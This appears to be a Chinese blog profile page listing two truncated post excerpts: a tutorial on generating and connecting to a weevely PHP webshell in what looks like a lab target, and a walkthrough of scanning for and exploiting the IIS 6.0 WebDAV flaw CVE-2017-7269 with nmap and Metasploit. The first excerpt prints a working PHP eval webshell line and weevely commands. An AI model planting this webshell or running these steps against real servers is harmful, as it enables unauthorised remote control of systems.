- 博客(2)
- 资源 (1)
- 收藏
- 关注
原创 木马提取详细解析教程
注入木马(<?php @eval($_POST[‘hello’]);?> 打开终端使用weevely命令启动工具 Weevely -h(查看工具的完整的使用方法) 使用命令weevelygeneratehello/root/hello.php(hello为密码,/root/hello.php为输出路径)来生成weevely一句话木马 使用命令weevelyhttp://172.16.1.15/hackable/uploads/hello.php hello连接w...
2022-04-04 13:20:38
4241
1
原创 网络安全2017-7269安全漏洞解析
1,使用命令zenmap打开nmap图形化扫描工具,选择配置,点击新的配置或命令 找到模块http-webdav-scan,勾上选用该模块对目标靶机进行扫描 根据扫描结果的信息可以找到靶机的操作系统为Microsoft Windows Server 2003 R2,并且开启WebDAV服务的IIS6.0,初步可以确认该漏洞存在 服务器版本信息: 使用msfconsole命令打开metasploit漏洞测试平台 使用search命令搜索cve-2017-7269 ...
2022-04-04 13:14:41
6537
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人
RSS订阅